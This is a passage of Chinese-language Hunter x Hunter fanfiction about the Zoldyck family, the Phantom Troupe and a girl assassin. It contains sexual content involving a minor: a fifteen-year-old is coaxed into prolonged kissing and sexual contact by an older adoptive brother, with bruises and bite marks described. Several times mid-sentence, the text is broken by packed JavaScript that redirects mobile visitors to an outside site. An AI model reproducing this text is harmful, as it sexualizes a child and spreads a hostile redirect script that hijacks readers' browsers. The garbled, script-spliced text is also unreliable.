“再长大一点，就能穿裤子了。” “是，大哥。” 伊尔迷摸了摸弟弟的发顶，换上了这套红色的衣服，听说这个叫作什么，中式风格？不知道从哪个遥远大陆传来的，反正伊洛林看起来很喜欢。他穿好外套，束好皮带，整理好袖口褶皱，柯特也穿好了那件红色的小裙子，宽大袖口垂落下去，乖巧搭在白色长袜上。 伊洛林也换上了那件裙子，白色丝袜裹住双腿，小棉靴蹬在脚上，还做了个发型，基裘高分贝的声音几乎把她耳朵都穿透，拍照声不绝于耳，他们三个人在基裘面前，充当着模特，任由亲爱的老妈拍了又拍，等时间差不多了才依依不舍地放他们出去。 家里已经变成了红色的海洋，在阴暗无比的揍敌客有这种东西，实在是有点诡异。 柯特把剩下的衣服拿给父亲他们，伊尔迷看着跑走的伊洛林，想了想也跟了上去。 奇犽看着自己家的大门，目瞪口呆，他和格蕾西一起呆，面面相觑，两个人交换眼神，彼此都有一种是世界毁灭了还是揍敌客家改行了？ 席巴不做杀手下去扶老奶奶过马路了？ “格蕾西！奇犽哥！” 伊洛林似一阵风吹过来，扎进了格蕾西的怀里。 “伊洛林，这不会都是你做的吧？”奇犽还有点没回过神来，伊洛林蹭蹭只是穿了套红衣服的格蕾西，她点点头：“是啊，不过还有梧桐他们帮忙呢，格蕾西，妈妈也给你挑了衣服，来，我带你进去！” 伊尔迷站在门口，不咸不淡看着这一切，格蕾西挑眉，搂住了伊洛林的胳膊。 “走，穿一身去！” 于是格蕾西与伊洛林先行一步。 奇犽感叹着真是大变样，一边乖乖叫了声大哥，他没敢让亚路嘉回家，把他拜托给小杰之后，保证自己回家一趟立刻就回来，只是去和家里说一声今年过年不回家，伊尔迷却说他应该把亚路嘉带回来。 “嘛，你把哥哥想得太坏了，奇犽。” 什么啊，你明明就很坏。 “但是，其实……”其实亚路嘉不愿意，所以他现在在山脚下的旅店里，伊尔迷点点头，毫无感情回应他：“去把亚路嘉带回来，伊洛林想要的是一家团聚。” “大哥，你保证不把他关起来？” “哥哥不会做让伊洛林不开心的事。” “……” 他哥是脑子有病了？ 年仅十四的奇犽，暂且还不懂什么叫作恋爱让人失去理智。 他下山把亚路嘉带回来，告诉他不能乱索求什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068853|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西，家里人估计真的会在愿望达成之前把他杀了，除非他索求的对象不是家里人，只是佣人。亚路嘉现在也能控制自己不乱索求，拿尼加也保证乖乖的，因为他们都想看见伊洛林。 回家后他们也换了衣服，面对许久未见的儿子，基裘揉了揉他的长发。 欢迎回家？还是别的什么？ 揍敌客没那么温馨。 “哥哥！” 伊洛林的声音从走廊尽头传来，她身侧是穿着差不多衣服的格蕾西，亚路嘉跑过去紧紧抱住她。 “伊洛林，伊洛林——” “哥哥，欢迎回来！” 真正温馨的只有某个忽略所有黑暗的傻乎乎的小姑娘。 不如说，倒也不是忽略，她有一种就算是在垃圾堆里，只要这个垃圾堆足够爱她就可以视而不见的魄力，而揍敌客可以算是虎窝狼穴，不能算垃圾堆。 一家人齐聚的场面在现如今也算难得，额外加了一张凳子给格蕾西之后，整张桌子都显得有些拥挤了起来，每个人都穿红衣服，每个长辈都分红包。格蕾西收红包收到手软，伊尔迷递给她的时候她犹豫了一下，本着不要白不要的心态，对不起谁都不能对不起钱，格蕾西心安理得收下了伊尔迷丰厚的红包。 这家伙最近对伊洛林的态度换了一种，她看着也没那么讨厌，但是，该不喜欢还是不喜欢。 今年的年夜饭是伊洛林下厨，没有毒药，没有乱七八糟的调味，她买食材，买调味料，甚至买了新的厨具，避免家里的厨具残留的毒药把格蕾西药翻。 新年杀人事件吗难道？ 只不过是新厨具太轻了，伊洛林弄坏了一个，一握就捏扁了，握力二十吨的时候，做点精细的事儿还真不方便。 格蕾西的餐具也是额外购入的。毕竟格蕾西的握力才两吨，能推开门，可能会用不习惯他们家的餐具。毕竟这椅子都是伊洛林为她拉开的，太沉重，得要人帮点忙也是应该的。 伊尔迷脸上的表情不是很好看，但没说话。 他已经知道伊洛林的性格要怎么顺着毛，要在什么时候强硬才能有最好的效果，既然已经决定了计划，那他就没有可能在这个时候破坏自己在伊洛林的好感度。 伊洛林给格蕾西夹菜，给她倒饮料，照顾周到。 别人有佣人伺候，而格蕾西不需要佣人，她有伊洛林的偏爱与照顾，和所有人都显得不一样。 微妙的氛围里，谁也没说话，只是举杯碰杯，伊洛林笑着说道——“新年快乐” 于是她迎来了十五岁的人生。 晚上放烟花，奇犽和亚路嘉还有伊洛林，这三个人最闹腾，烟花不断升空砰砰砰，绽开颜色鲜明的坠落，火花流星似的消失在漆黑的夜空里，格蕾西拿着一根星星棒，伊尔迷安静站在那，他们两个竟然都能够和平地站在一起。 或许是看见过她垂死挣扎的脸，濒死的身躯。 或许是看见过那丧失的大量血液晕染开湖泊一样的场景。 所以才会觉得她现在活泼的样子才很好看。 格蕾西与伊尔迷无话可说，他们天生不对付，因为伊尔迷的爱从来都不算正常，而伊尔迷也从不想将伊洛林给予家庭以外的人。 他们一声不吭。 伊洛林回头对她笑：“格蕾西，来啊，一起放嘛！”奇犽拿着两根烟花棒窜来窜去，亚路嘉拍着手笑，柯特偷偷玩两根星星棒，糜稽嘟囔着冷死了奇犽你小子放烟花不要对着人啊，她笑了，也加入了放烟花的队伍。 新年嘛，岁岁平安。 永远快乐。 68.63 那是一场雨。 一场像是永不停歇的滂沱大雨。 冲刷着泥土地，把痕迹冲淡，冲淋至再也看不见，血啊，也被冲刷得淡了，却融入进脚下的泥土地里。 零仿佛失去了所有的力气。 她一步一步，摇晃着走向库洛洛，伸出僵硬的手，哪怕库洛洛嘶吼着叫她别过来，她也恍若未闻。那只口袋紧紧束缚着，扎紧了。不顾库洛洛的抗拒，零伸手搂住她，将那麻袋搂在怀里，深深地、像从前的每一次一样。 人活着的时候，会呼吸，会有心跳，会有体温与鲜明的情绪。 人死后，切碎，如同冰冷的石头，隔着麻袋也能感受到，诡异而又毛骨悚然的触感。 “……零…姐姐……” 库洛洛无力阻拦，也不可能真的阻碍零去拥抱萨拉萨。 是啊，她是姐姐，她一直都是姐姐。 零抬起头，她与库洛洛四目相对，望见那双眼里的痛苦与绝望，望见他破碎而愤怒的灵魂，零喃喃自语，泪水顺着面颊不断流淌，这大概是她自出生以来第一次哭，将泪水、雨水与血液混合在了一起。 “她必须，埋进土里……” “她会、变成…大地的一部分……” “来年春天，一定会…开出花…会……继续……成长……她会长大的，她会……” “……她必须，埋进土里……” 她要在流星街。 她被遗弃在这里，她在这里长大，她在这里认识了朋友，她在这里被掠夺走了生命。 萨拉萨，必须，埋在流星街。 她闭上眼睛，听见雨声，听见他们的哭泣声，听见库洛洛拒绝回答问题的声音，听见他们的痛苦随着雨水嘀嗒嘀嗒的声音。零全身冰凉，她取下那张纸，为萨拉萨整理了凌乱的头发，她亲吻了女孩冰凉的额头，泪水在苍白的脸上留下温度，可是再也不会有人笑着叫着，拉着她的手说大家当然就是要在一起啊。 零什么也不想了。 这场雨停止了，但他们心里的雨，依旧不止不休。 零骤然睁开双眼。 她躺在床上，陷进深色的床单里，有热泪滚滚落下，像是一场从身体里浸透的雨，她急促的呼吸缓慢沉下去，用手随手抹掉眼角的泪水，她趴在膝盖上平复着心情，沉默像是青苔覆盖上身躯。 她突然抬起头，直视某个监控。 “我要见夫人。” 无人回答，但零清楚，一切已经开始准备。 零洛并不想听侠客的壁画，于是跑到了酒吧去准备夜晚的演出，格蕾西又掏出了新的设备，这次光明正大地坐在了台下，像是在参加什么明星演出一般，手上还拿着打call棒，而侠客跑到了后台打算继续劝女儿不要歪了性取向。 就算歪了也别歪给格蕾西啊！ 可他到了后台才发现零洛被主唱堵在了角落里，他说着什么只要顺从以后就能够大红大火，会有无尽的金钱，她可以过上最好的生活。零洛似乎被他漂亮的脸蛋迷惑了视线，竟只是保持沉默，她低着头不知道在想什么，而侠客的脑神经都炸开了。 不是，比起格蕾西，你这家伙才最不行啊！ 零洛抬起头看向侠客，她微微一愣，下意识伸手要推开主唱，像是被抓包了的叛逆少女一般，而侠客只是上前一步将人从自己面前薅了起来，他是情报成员没错，但不代表他没有自己的武力值，直接插一根天线让对方去舞台上当场表演自己杀自己的戏码。 格蕾西冲进后台时，零洛已经在侠客怀里搂着了。 她乖巧依偎着父亲的样子，看起来很真诚，但是如果不知道这件事的话，应该会觉得他们两个人有点什么吧。 格蕾西差点给侠客来了一下，还好侠客反应迅速，连退三步，零洛跑回格蕾西的身边，两个女孩亲密无间地贴在一起，侠客只觉得自己眼珠子都开始抽痛了。他实在是受不了，打算和零洛仔细谈一谈什么叫作正确的爱情观，而零洛却只说她不和格蕾西在一起就不行。 于是接下来这三天，他看着她们，同吃同睡，同洗澡。 零洛排练跳舞，格蕾西去学，学着学着就贴在了一起，身体和肢体动作都亲密，侠客实在很想打电话回去问零知不知道这件事，想了想估计就算是真的，零也不会觉得有什么问题，整个人又憔悴了三分。 爹不好做，是真的不好做。 而第四天起床，看见一地狼藉和一张纸条的侠客，觉得自己的脸好痛，好像被谁放在地上踩了一样痛。 【一点也不亲爱的侠客，你女儿我就拐走了，顺便你的家我也拆了，如果想要回女儿的话，好好考虑一下要用什么宝藏来跟我换吧！】 不用落款也知道是格蕾西。 那个超绝厚脸皮的女人……侠客微笑着，狰狞微笑着，颤抖着手推开自己的工作间门，两眼一黑。一夜回到解放前的感觉是怎样的？就是这样的啊！！ 零洛和格蕾西逃之夭夭，把差点查了个底朝天的主板捏碎之后，一切都变得轻松起来，数据传送回揍敌客，针对本次的流程已经做出最后的结论。 猎人协会方面，准备就绪。 揍敌客方面，准备就绪。 “我们还有多少时间？”格蕾西推开窗户，悄无声息翻了进去，她们立刻换衣服，零洛洗干净自己的头发，恢复了最初的发色，美瞳丢弃，利落扎了个短马尾辫在后脑处，将碍事的裙子褪下，换上一身干脆利落的紧身衣。她将过分成熟的妆容洗去之后，露出了那张显得青涩纯真的脸，认真算一算才回答格蕾西：“还要半个月，大哥说西索现在已经在天空竞技场了，我们得先去找奇犽和小杰。” “等一下。”格蕾西一顿：“我不是一直在你边上吗？你哥是怎么见缝插针给你发消息的？” 零洛心虚，她涨红了脸。 “……就，就……你去厕所的时候……我看了一下……” 那可是十八个小红点，她没忍住点进去看了一眼，就稍微回了两条……格蕾西白猫居高临下表情包一般盯着零洛看，隔了一会儿才收回视线，颇有些恨铁不成钢的咬牙，还是没说什么。毕竟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哟，又在这里坑蒙拐骗小男孩？”格蕾西率先输出，奇犽看见她的时候笑容一下子就扬起来了，小杰则是就差跳起来欢呼了：“零洛，格蕾西，你们回来啦！” “还知道回来啊！”奇犽伸手勾住了零洛的脖颈。 不怪奇犽没有距离感，他还不知道零洛真的是女性，还以为她就是针扎出来的而已，对自己弟弟勾肩搭背的能怎么样？又不是对格蕾西。但格蕾西一下子就把他的手扯下来，禁止他继续勾肩搭背。 西索笑出了声。 “哎呀，格蕾西，不是应该好好叫一声哥哥来听听才对吗？” “说起来，哥哥以前还以为你不是操作系呢，现在才清楚，你真的很符合我对操作系的判断和理解呢。” 他的目光毫不掩饰，恶意十足。 “把她控制在身边的感觉怎么样？顺从你，依赖你，又盲目而不需要理由，怪不得伊尔迷这么嫉妒你呢。” “格蕾西，我从来没见过你这样强烈的感情呢。” “我真是越来越期待了……你究竟能，成长为怎样的美味——” 69.64 奇犽不敢说话，他觉得这个时候的格蕾西比念压恐怖。 小杰不敢说话，他总觉得西索说了可能会血溅当场的话，他为难地左右看看，而负责登记的小姐姐已经缓缓退出了战场，关上门，感叹了一句真可怕。 那个女孩，似乎比起曾经，强悍了更多。 只有零洛也用相同的眼神看着西索。 “……并没有谁真切地爱过你，所以你会觉得这是控制。”她曾经说过这句话，这次也算是复述一次，她勾住格蕾西的手指，指腹轻轻磨蹭缓缓收拢，她们十指相扣，于是零洛继续说下去：“如果为了一个人好，就是控制，那么我希望格蕾西永远控制我，全部都要好好控制。” 西索在笑，憋不住的那种笑。 “那怪不得你其实并不讨厌伊尔迷了，毕竟你可是一直身处为你好的环境里哦。” 他真是每句话都在踩格蕾西的雷。 不仅如此还在雷点上反复横跳。 “啊，但是你比他好一点哦，毕竟伊尔迷是身体控制和精神控制，你嘛~看着就清楚，是纯粹的精神控制哦。” 西索说得越多，格蕾西的眼神就越冷。 现如今她已经像在看死人一样看着西索了，不仅说她控制零洛，甚至拿伊尔迷和她相提并论，格蕾西怒极反笑，磨了磨牙觉得自己真想狠狠从西索身上咬下来一块肉来：“是吗，惋惜我没去控制你吗？哥哥。我没想到你嘴巴也这么碎，实在没人跟你打架了是吗？寂寞吗？实在寂寞你可以去马戏团，他们缺个小丑我保证。” 西索的扑克牌在指尖哗啦啦地响。 要在这里开战吗？哼哼哼……虽然已经和伊尔迷达成了交易，不过稍微吃一口的话…… “住手。” “……你就不能对你妹妹好一点吗，西索。” 云古、华石斗郎，抵达二百层。 望见新造型的零洛，云古有一瞬间的没绷住脸，差点把那股子护犊子的劲儿散了，华石斗郎则是直接将格蕾西护在了身后，四个小孩就这样被人护在后面，和西索对峙。 “哦……是你呀，好久不见，上次输给我之后就没再看见你了呢。”西索笑吟吟搭话，目光却冷冷地勾在格蕾西身上：“你还真是喜欢我妹妹呢，从以前，到现在。” “格蕾西是个好孩子，但你不是好哥哥。” 华石斗郎寸步不让。 他不会因为自己打不过西索而觉得自己就应该退避三舍，当初的格蕾西瘦得只剩下皮包骨，被困在西索身边哪里都不能去，明明是个乖孩子，每次却都被西索惹得火冒三丈。好不容易这些年变好了，也长了些肉，匀称窈窕起来，再被西索气得乱蹦又有什么好处？ “真是的，人家是不是好哥哥可不是靠你来说哦！” 西索气鼓鼓，他做出了可爱的表情，却只让所有人鸡皮疙瘩起了一身，不过他的目光还是落在了小杰身上，这个苹果最近才是真正能吃一口的呢。 “小杰~我会在二百层，等待你的哦？” 小杰握紧拳头，不知道是因为激动还是害怕，全身都在发抖，但他仍旧大声回应了西索：“我绝对要把那一拳还给你！” 在西索微笑目送下，他们六个人乘坐电梯离开了。 由于侠客出现得太早，零洛他们的任务也提早结束，本来应该是小杰奇犽他们先去学习念力才对，结果这次撞在了一起。奇犽不可置信，为什么零洛都会念，而他自己不会！家里难道就他和柯特不会念了吗？ “你在想什么啊。”格蕾西翻了个白眼：“你那弟弟，隐用得比我还熟练。” 奇犽悲催意识到，家里现在只有他不会念了。 “哦对了，云古，你告诉他强迫开念会怎么样。”格蕾西恶上心头，零洛慌忙去扯云古的衣服角：“不不不，没什么，没怎么样！这种小事……” “哪里是小事？”格蕾西一下子站起来。 “如果是小事，你为什么不敢说？你就说出口啊，因为你开不了念，所以伊尔迷那家伙就强迫给你开，害得你差点死了这件事，你怎么不直接说呢？！” 零洛不说话了，低头看着自己的手指。 气氛一瞬间沉到了谷底。 云古感觉自己心里也堵得慌：“荒唐！这种，这种开念的方式，死亡率有多高，他自己不清楚吗？是对自己太自信了吗。这种办法，除非是在生命危急的关头，否则不就是拔苗助长吗？！”他看着零洛，零洛狗狗祟祟抬头看他一眼，又迅速缩回去，视线转了一圈，发现奇犽和小杰脸色都不好，她只能讨好地看向格蕾西。 “……那个，但是，但是爸爸他……很快就跟我道歉了，大哥他也被惩罚了，打得很厉害呢……” 她其实那个时候真的很感谢伊尔迷的。 因为那是她第一次感觉到被父亲接受，也是第一次被父亲拥抱。 但是这句话说出来应该会把格蕾西气死。 零洛非常有自知之明地吞了进去，冲着门口不敢吭声的智喜疯狂使眼色，智喜硬着头皮打哈哈挪过来说话，毕竟小杰他们要快点学会念，才能去二百层报道，时间过了取消了，以后可就上不去了。格蕾西哪里不知道零洛心里想什么，西索的话还是对她造成了一定的冲击，哪怕她和零洛早就过了会介意对方的时候，却还是在想需不需要让自己别那么介意零洛的事。 但是……那么做的后果就一定是零洛会焦虑自己是不是做错了什么事。 她宁愿回去幻影旅团和飞坦吵架，也不想和西索多说两句话。 小杰和奇犽学习念，零洛打开电脑，开始接收资料。 幻影旅团反应过来自己被阴了之后，还不知道会怎么样呢，只能能拖一会儿是一会儿，首先就要解决现在当前的问题。 “零说有关于小孩的那些，幻影旅团都不参与。”她的手指飞快敲击着键盘，黑色瞳孔倒映着电脑画面，格蕾西点点头：“虽然不知道为什么，但是他们对这个反应特别大……” 她不自觉摸上自己小腹的伤口，那里有一道陈年旧疤。 “说实话，如果库洛洛敢做这个生意，第一个去把他杀了的一定是零。” “所以那些是和幻影旅团没有关系的。” 伊洛林剔除了一些选择，剩下的十八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你知道的，哥哥忍得很辛苦，如果不能安抚一下，就会做出一些别的事情了……只是亲吻的话，应该可以吧？” “……” 零洛抿了抿唇。 “就、就一下？” “十分钟。” “不行……五分钟、五分钟……我还有事情要做……” “八分钟，哥哥帮你。” “……六分钟。” 谈判成功。 零洛觉得自己晕乎乎的，她无法思考，纠缠里变得难以计算时间，只能寄希望于伊尔迷自己能够坦诚，她闻到伊尔迷的味道，和从前不一样的根据侵略意味的味道。像是要被揉进身体里，他吻得太深，越发深入到无法抗拒的地步，而直到这个时候零洛才意识到一件事。 伊尔迷想要的，她现在给不了，如果不进行安抚，可能会被提前。 因为他的良心本就欠费。 他现在所做的一切都是为了能够获得更多。 70.65 零洛觉得自己差点被吃了。 因为她不仅缓了很久才恢复呼吸，还觉得自己头晕。照了个镜子发现自己在迷糊的期间，脖子又遭了一轮咬，痕迹太明显，她想装瞎都做不到。 伊尔迷无辜地看着她，那个眼神仿佛真的要变成表情包里的小黑猫了。 零洛说不出话，她要跟伊尔迷计较这个，那今天的事情就别干了。她把自己的针分给伊尔迷一盒，要求只能用这个杀，你用那大头针不就明摆着告诉大家这是揍敌客家的吗，所以得用她的武器。 伊尔迷得了便宜，听话得很，干脆利落就走了。 她松了一口气，看着针也是五味杂陈。 被伊尔迷养大，什么都像他，连武器也不自觉地靠近。她摇摇头不再去想，以最快的方式到达了自己的目的地，像只轻巧的猫一样潜入了克雷诺德家族的根据地之一。 杀人很容易。 干脆利落地杀人也很容易。 每个目标都死得很隐蔽，零洛没去考虑什么痛不痛苦，对她而言她的目的只是快速地把重要成员都拔除，让克雷诺德家族抽不出足够的人手来应对，顺便把他们的资金链打断，直接打得稀烂。 零洛没觉得有什么心理障碍，因为在她眼里这些人都是罪大恶极之辈，与克雷诺德家族同流合污的能是什么好东西？哪怕不是猎人协会查到的那些，只是揍敌客家族查到的，就能明白，曾经只是做生意的克雷诺德家族，在现任家主的带领下，什么生意都做，甚至还有专业一条十五岁以下女孩的皮肉交道生意。 尼特罗会长说这就当作是为民除害了。 零洛放手去做，会有人暗中协助，然后剩下的就让他们解决。 三天后，侠客看到了电视里零洛的脸，喷出一口老血，几乎不可置信。 什么叫作……被克雷诺德家族暗杀的家族剩余的遗孤，被丢弃进流星街，与幻影旅团相熟，学成归来暗杀了克雷诺德家族旗下三百六十二名骨干。这事能是一个人干的吗？这说出去两天杀三百多个人，第三天爆出来，什么不吃不喝的人能杀这么多个？？ 被耍了的感觉充斥着侠客的全身。 他盯着那张脸，只觉得自己一口气上不来，电话哆哆嗦嗦打出去，零接得倒是痛快，侠客都快哭出来了。 “姐姐，耍我好玩吗？” “抱歉。” “你直接和我说我也不会不同意啊！” “你会不同意。” “……” 是的，他会不同意，毕竟这纯属于是拿幻影旅团去硬扛，就算是知名团伙也不想被拿出去当挡箭牌啊，你一箭双雕玩了两个人的脑子，姐，亲姐，你什么时候这么厉害了！ 侠客此时都苦笑了。 这世界上如果有个人能耍着他和团长玩，那确实只有零了。 “零洛不是我的女儿，对吧？” “啊。” “……团长那里，你要怎么办？”侠客觉得自己凄凉，都到这个时候了，还得顾着这个骗自己的女人。零沉默了几秒钟，声音低了下去：“如果要杀我，我不会恨你们。” 侠客欲哭无泪，你怎么还和以前一样呢。 他整理了一下思绪，把自己的脑子找回来放好，暂且平稳了呼吸：“好，零洛不是我女儿，但我跟你一定有个孩子，因为你说这些话的时候很认真，如果不是真的有个孩子，说不出这么绝对的话，对吧。” “……” “单凭这个，你能说服我不追究，那团长那，你要怎么处理？难不成也给他生一个吗！” 零竟然笑了一声，像是被侠客的语气逗笑了，她这一笑，侠客也没了脾气，开始倒苦水。先说自己被格蕾西拆了设备，没了情报，再说被团长差点拉出去作为反面教材，说得可辛苦。零安静听着他说话，等他抱怨完了才哄他。 “那我去友客鑫前，先去找你？” “好呀好呀。”侠客答应得飞快：“那我可以见见孩子吗？” “你想见我，还是见孩子？” “你！” “等我，乖。” 库洛洛没给她打电话，零想了想，主动打电话过去，那边接得很慢，也不说话，零陪着沉默了一会儿，压抑的氛围里，她听见一声叹息。 这大概是下不为例的意思。 “友客鑫的时候，我不会跟你们一起行动。”零这话属于是火上浇油，库洛洛依旧不开口，零只能给出自己的交换条件：“明天我就去找你。” “侠客知道吗。”库洛洛平静回问。 “你想让他知道吗？” “……看你的意思。” “他迟早会自己知道。” “那就这样吧。” “库洛洛，你非得这样吗。” “你不是很了解我吗？” 零皱着眉头挂断电话。她实在搞不懂自己为什么要两头哄，她连自己那个时候为什么要和库洛洛都想不明白，库洛洛说话太绕，她根本没办法思考太多，只能被说服。比起现在，她还是更喜欢小时候的库洛洛。但是很可惜，他们都回不到小时候。 零换好了衣服，她算了算时间，还有一个多月。 她从揍敌客出去，坐着飞艇去找库洛洛，她必须哄好库洛洛，否则库洛洛不玩了直接掀桌，她就有点苦恼。毕竟她不是揍敌客家的人，面对幻影旅团这边的压力不会帮她任何，而她如果扛不住或者幻影旅团掀桌，那她这边就得算失败了。 后续还得他们帮忙配合一下……思考。 她到底是怎么走上这条不归路的？也太狠了。主要是揍敌客家的家主和大儿子都不是什么善茬。 什么没那个想法，要真的妨碍到了揍敌客的声誉，杀多少人不是杀。 怪就怪她为什么偏偏和伊洛林长得像。 偏偏还被猎人协会拿出去当人情，事实证明，尼特罗的人情不能随便欠，瞒住两个孩子，奉献一个自己。脑子不太好的下场大概就是这个。 如果脑子好当初应该也不会被这两男的缠上了。 都是命。 零躺平等待自己的命运。 从容，淡然，甚至还有点想睡觉。 零洛连续两天工作量超标，杀出美味杀出鲜，整个人躺在床上睡成了木头人，而小杰也没好到哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086114|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，自不量力跑去打架，浑身骨折地躺在了病床上。格蕾西总算明白什么叫作需要自己了，她这是两头跑啊！ 还要时刻盯着华石斗郎，格蕾西心好累。 零洛没敢说自己回来之前又被折腾了一番，收的利息被翻了三倍，还趁着她昏昏欲睡不该干的都干了一半，伊尔迷还意犹未尽，零洛实在抬不起来一根手指只想睡大觉。一边睡一边随便他折腾的下场就是衣服遮住的地方惨不忍睹，青一块紫一块的，牙印还是别的什么都很清晰，格蕾西又不会去脱零洛的衣服，自然看不见，她只以为零洛是杀累了。 零洛颤巍巍的，爬不起来，又恼羞成怒，最后一下子睡过去两天，还是伊尔迷把她抱回来天空竞技场的。零洛在半梦半醒间发誓，自己下次再也不答应什么利息。全部都是谎言，男人的嘴，骗人的鬼，这个年纪下手，还要说什么会等你到十八岁，你倒是等啊！ 难不成以为没有……进去……就是，就是等了？ 零洛无力锤枕头，电话震动起来，接听果真是伊尔迷。 “哥哥错了。” “你根本就没有觉得自己错！”零洛直接指出，这个道歉一点也不诚恳，分明就是吃饱喝足还满意至极，打过来看看她到底生气到什么程度。伊尔迷当然如她所想，确实是这么个心态，他赶着时间杀可不就是为了理直气壮地收报酬么。 “哥哥补偿你？” “不要。” “你想要什么哥哥都可以给你。” “真的吗，以后不动手动脚了也可以吗？” “不行。” 零洛生闷气。 伊尔迷在笑，他的笑声和以前一样像是很普通的说话，哈哈哈这样平铺直叙的感觉，但零洛耳根子滚烫。 “哥哥离不开你的，不是吗？只要这样下去，终有一日，你想要的东西，想做的事情，哥哥都会答应你，你真的不考虑继续让哥哥爱你吗？” 这个诱惑力太大了，得考虑一下。 “杀掉西索也可以吗？” “啊，当然了。” 伊尔迷说得毫不犹豫。他和西索肯定要打一架，毕竟西索可不会放过他，但是如果是弟弟的要求的话，他不遵守一下也无所谓。伊尔迷很清楚，零洛屯钱就是为了请动父亲和祖父杀掉西索，这一切都是为了格蕾西。 为了格蕾西，她真的很认真地在策划呢。 哪怕是这种麻烦的事情她都愿意去策划，真是让人嫉妒。 明明格蕾西和自己的做法也没什么不一样。 “那……那好吧。” 零洛觉得自己还能忍忍，西索是肯定要杀的，家里肯定要留，不然格蕾西就危险了。用自己换的话，稳赚不赔…… “那我要钱，哥哥给我钱。” “好，不生气了？” “嗯……” “还可以亲吗？” “……不准问！” 伊尔迷又笑了一声，挂断了电话，隔了几分钟，账户入款两个亿的短信让零洛心情好了很多。离一百亿就剩下一半了……杀掉西索之后危险也就解除了一半，嗯嗯…… 赚了！ 71.66 “我总觉得哪里不对。” 零仔细思考。 库洛洛撑开她两条腿，又将她压得更紧一些，漫不经心问她哪里不对。零说不上来，只觉得库洛洛烦人，她躺着也觉得浑身不舒服，想来想去没想出个所以然来。 库洛洛甚至笑了一声，才继续做自己的事情，当然他做的其实也是两个人的事，毕竟零来是安抚他来了，既然从蜘蛛头子身上获取了好处，那被获取点好处不也是理所应当的吗？ “我更喜欢你之前的发色。” 零耷拉着两条胳膊在他背后，含含糊糊地回答，揍敌客可没有蓝头发。回答了这句话，又皱起眉头：“别那么烦人，要就快点，太久了，我累了。” 她向来有话直说，没觉得半点不对劲。 “你不是来安抚我的吗？” “对。” “那现在应该听我的。” 零喘不过气，看起来想用蛮力挣脱束缚了。于是库洛洛伸手掏出书，随便翻了一页，不知道为什么零就被固定在了原处，她眨了眨眼，连话也说不出，库洛洛则满意地继续动作：“这是一个没什么用的能力，要亲密接触二十分钟才能够把人定住三小时，不过现在看来，还是挺有用的。不是吗？” 哪里偷的能力，好无聊。零觉得库洛洛是闲得慌。 “你还有力气思考，看来是我不够努力。”库洛洛浅笑着，他每次只要轻轻一笑，零就觉得自己腰保不住了，早知道刚刚就直接一拳过去了，而库洛洛看得出他的想法，动作又用力了几分：“接下来就好好地享受吧？” 享受？ 零昏睡过去之前还在想，这算惩罚，不算享受。 在零的记忆里，他们已经很少像现在这样，并不争执什么，只是单纯地在一起。 她困倦，醒来时还在库洛洛的怀里趴着，被单只盖到腰上，他们太过于亲密无间了，让零十分不适应。就像是两个根本不搭配的锅碗瓢盆放在了一起，怎么看怎么觉得不对劲。 库洛洛的手还在她腰上圈着，他看一本书，上面写的语言零不太认得。 她早就说过了，库洛洛最爱强求。 “……什么时候了？” “三点十八。” 她想要坐起来，库洛洛却没撒手，她也就只能躺着，眼见着是个深夜，肚子饿得不行，她和库洛洛打个商量去吃点东西。库洛洛盯着她的眼睛看了几秒钟，才松开手。零本就开放，也没顾着自己穿没穿衣服，套了件围裙给自己做了碗蛋炒饭，炒完以后还要被库洛洛分走一半，她慵懒地靠在椅背上，长发垂落腰间，看上去十分平静。 和死了一样平静。 刚回床铺上不久，库洛洛又贴了上来，咬着零的耳朵一点一点地啃着，零浑身一软，还是没忍住叹了口气。 “你又在吃什么醋？我生侠客的孩子，就让你这么不高兴？” 她根本不在意到底是谁的孩子。 从她肚子里出来就是她自己的孩子，孩子他爹是谁真的无所谓。可是他们就好像很有所谓，知道自己肚子里出来个孩子，就好像得了什么天大的赏赐一样。坏也坏在，男人根本不能确定女人肚子里出来的孩子是不是他们的，而女人肯定能确定，只不过把孩子当成什么感情深的证明这种事，零做不到。 她只是想要孩子，自己的孩子，血脉至深融入骨血的孩子。 “为什么他可以，我不行？” “需要我提醒你吗。”零艰难地呼吸着，两条腿都快抽筋了似的，盘着库洛洛腰侧：“好像是你当初觉得自己不应该抢好兄弟的女人，才表现得一副成全的模样，这才过了多少年，你就忘记了？别太过分了……” 库洛洛变得越来越想要的东西就抓在手上不松开了。 他本来不应该这样。 他们第一次本来也不应该有。 